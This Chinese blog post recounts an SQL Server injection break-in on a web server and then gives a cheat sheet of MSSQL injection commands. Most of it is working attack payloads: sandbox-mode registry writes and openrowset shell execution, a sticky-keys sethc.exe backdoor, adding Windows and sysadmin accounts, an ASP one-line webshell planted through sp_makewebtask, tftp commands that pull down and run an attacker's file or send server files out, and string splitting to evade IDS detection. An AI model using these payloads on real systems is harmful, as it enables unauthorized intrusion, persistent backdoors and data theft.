來自草哲的blog
嘗試在NB里面恢復(fù)CMDSHELL、OACREAT都沒有成功,所以開啟SQLSERVERAGENT
;exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';--
還是沒有成功,無奈之中希望寄托于沙盒模式,執(zhí)行如下語句開啟沙盒模式
;execmaster..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
回顯成功,進(jìn)一步調(diào)用oledb執(zhí)行系統(tǒng)命令
and 0<>(select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd /c echo 1 >c:\1.txt")'))--
回顯500,明顯出錯(cuò)了,沙盒模式也暫且放下 既然可以寫注冊(cè)表,那一定可以讀注冊(cè)表,那先讀讀終端端口看看。
是默認(rèn)的3389但是我無法連接,或許是沒開終端服務(wù),或許是防火墻屏蔽,不得而知,一定想知道我為什么要連接終端吧,下面看這段語句。
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
大家一定記得最近很流行的SHIFT后吧,以上兩段語句就是利用FSO組件的讀寫權(quán)限替換粘拈鍵為桌面的啟動(dòng)程序EXPLORER,如果替換成功那么執(zhí)行5次SHIFT后就可以直接執(zhí)行EXPLORER.EXE開啟桌面,但是連不上遠(yuǎn)程這個(gè)方法也就不能用了。當(dāng)然以上的命令需要OACREAT的支持,我也就是抱著僥幸的心理試試看。假設(shè)OACREAT沒有刪,我們還可以利用以下語句執(zhí)行系統(tǒng)命令。
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jxsaqjh 1234 /add';--
;DECLARE @shell INT EXEC SP_OAcreate 'Shell.Application',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jxsaqjh 1234/add';--
以上兩個(gè)語句也是利用OACREAT調(diào)用wscript.shell和Shell.Application組件執(zhí)行系統(tǒng)命令,但是在這里我們是用不了的,因?yàn)椴粌HOACREAT不在,就連那兩個(gè)危險(xiǎn)組件管理也寫了個(gè)批處理卸了。
萬般無奈下嘗試lOG備分拿只SHELL,可是備分的頁面卻是404,很顯然這個(gè)SA沒有備分的權(quán)限,還能怎么做?看下面:
;exec sp_makewebtask 'd:\zjkdj\zjkdj\zjkds\bake.asp,' select ''<%execute(request("a"))%>'' ';--
利用sp_makewebtask這個(gè)存儲(chǔ)過程寫個(gè)馬進(jìn)去,很幸運(yùn)這個(gè)過程是能用的,成功得到SHELL,本來想傳xplog70.dll上去恢復(fù)xp_cmdshell存儲(chǔ)過程,但是執(zhí)行恢復(fù)的時(shí)候發(fā)現(xiàn)這個(gè)過程是在的,然后在海洋里執(zhí)行CMDSHELL執(zhí)行系統(tǒng)命令,但是出現(xiàn)了這一句,
xpsql.cpp: 錯(cuò)誤 2 來自 CreateProcess(第 737 行
我暈啊,難道是CMD.EXE刪了?在NB里面列目錄查看SYSTEM32下的文件,果然沒有cmd.exe,這下終于真象大白了,原來不能執(zhí)行系統(tǒng)命令的原因是每個(gè)存儲(chǔ)過程都是調(diào)用系統(tǒng)的cmd.exe,既然沒有cmd.exe那還怎么執(zhí)行系統(tǒng)命令?管理還是下了辛苦的哦。
整理下思路后我又想到了沙盒模式,因?yàn)樯逗心J秸{(diào)用的CMD不一定是系統(tǒng)自帶的,我們可以自己傳一個(gè)上去的,想到這里在WEB目錄下傳了個(gè)CMD.EXE然后在海洋里執(zhí)行如下語句
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("d:\zjkdj\zjkdj\zjkds\cmd.exe /c net start>D:\zjkdj\zjkdj\zjkds\1.txt")')--
立刻到站點(diǎn)目錄下找1.txt,但是沒有發(fā)現(xiàn),看來只能調(diào)用系統(tǒng)自帶的程序了,無聊的在SYSTEM32下亂逛,突然發(fā)現(xiàn)了command.com這個(gè)程序,哈哈,總算看到希望了!這是什么?我來告訴你吧,它也是系統(tǒng)自帶的執(zhí)行系統(tǒng)命令的程序,和CMD.EXE的功能幾乎沒有區(qū)別,但是大小卻比CMD.EXE小幾十倍,既然不讓調(diào)用外部程序那我就調(diào)用內(nèi)部程序,馬上就在海洋里修改好如下語句執(zhí)行。
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("command.com /c net start>D:\zjkdj\zjkdj\zjkds\1.txt")')--
調(diào)用command.com執(zhí)行系統(tǒng)命令,執(zhí)行完成后在站點(diǎn)目錄下總算找到了1.txt
哈哈,總算看到希望了,打開1.txt看看服務(wù)器開了什么服務(wù),但是我卻看到一片空白,這是什么原因?難道?還是確定一下比較好,立刻轉(zhuǎn)到SYSTEM32下查看文件,令我吃驚的是居然沒有看到NET.EXE,怪不得一片空白呢,系統(tǒng)根本沒有net.exe這個(gè)程序,自然是什么也看不到,郁悶,管理員不是一般的變態(tài)啊!
不過沒有關(guān)系,windows系統(tǒng)中還有一個(gè)叫net1.exe的程序功能是和net.exe一樣的哦,我們來調(diào)用它執(zhí)行系統(tǒng)命令,語句如下
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("command.com /c net1 start>D:\zjkdj\zjkdj\zjkds\1.txt")')--
執(zhí)行完畢后再看1.txt
哈哈,成功了,入侵到了這里也就沒有什么繼續(xù)的必要了,因?yàn)槲覀円呀?jīng)有了系統(tǒng)權(quán)限,想做什么都隨自己愿意了,收拾收拾在管理員的桌面上寫個(gè)提醒.txt告訴他漏洞所在,讓他盡快修補(bǔ)吧!
最后總結(jié)一下,在先前以為是系統(tǒng)的存儲(chǔ)過程刪掉了,但是后來隨著入侵的深入才發(fā)現(xiàn)過程并沒有刪,只是每個(gè)存儲(chǔ)過程都必須調(diào)用cmd.exe所以不能執(zhí)行系統(tǒng)命令也是肯定的了,所以大家在入侵的時(shí)候一定要細(xì)心的分析整個(gè)過程,從中找出對(duì)自己有用的東西。
第二
一:命令簡介
[獲取全部數(shù)據(jù)庫名]
select name from master.dbo.sysdatabases where dbid=7 //dbid的值為7以上都是用戶數(shù)據(jù)庫
[獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個(gè)字段的值就可得到表名]
select top 1 name from 數(shù)據(jù)庫名.dbo.sysobjects where xtype=’u’ and status>0 and name not in(’table’)
[獲得數(shù)據(jù)表字段名][將字段值更新為字段名,再想法讀出這個(gè)字段的值就可得到字段名]
select top 1 數(shù)據(jù)庫名.dbo.col_name(object_id(’要查詢的數(shù)據(jù)表名’),字段列如:1) [ where 條件]
通過SQLSERVER注入漏洞建數(shù)據(jù)庫管理員帳號(hào)和系統(tǒng)管理員帳號(hào)[當(dāng)前帳號(hào)必須是SYSADMIN組]
news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加數(shù)據(jù)庫用戶用戶test,密碼為test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密碼,則用這句(將test的密碼改為123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //將test加到sysadmin組,這個(gè)組的成員可執(zhí)行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell ’net user test test /add’;-- //添加系統(tǒng)用戶test,密碼為test
news.asp?id=2;exec master.dbo.xp_cmdshell ’net localgroup administrators test /add’;-- //將系統(tǒng)用戶test提升為管理員
這樣,你在他的數(shù)據(jù)庫和系統(tǒng)內(nèi)都留下了test管理員賬號(hào)了
下面是如何從你的服器下載文件file.exe后運(yùn)行它[前提是你必須將你的電腦設(shè)為TFTP服務(wù)器,將69端口打開]
id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP get file.exe’;--
然后運(yùn)行這個(gè)文件:
id=2; exec master.dbo.xp_cmdshell ’file.exe’;--
下載服務(wù)器的文件file2.doc到本地TFTP服務(wù)器[文件必須存在]:
id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP Put file2.doc’;--
繞過IDS的檢測[使用變量]
declare @a sysname set @a=’xp_’ ’cmdshell’ exec @a ’dir c:\’
declare @a sysname set @a=’xp’ ’_cm’ ’dshell’ exec @a ’dir c:\’
新加的:
建一個(gè)表。只有一個(gè)字段,類型為image,將asp內(nèi)容寫入。導(dǎo)出數(shù)據(jù)庫為文件
backup database dbname to disk=’d:\web\db.asp’;
報(bào)錯(cuò)得到系統(tǒng)操作系統(tǒng)和數(shù)據(jù)庫系統(tǒng)版本號(hào)
id=2 and 1<>(select @@VERSION);
|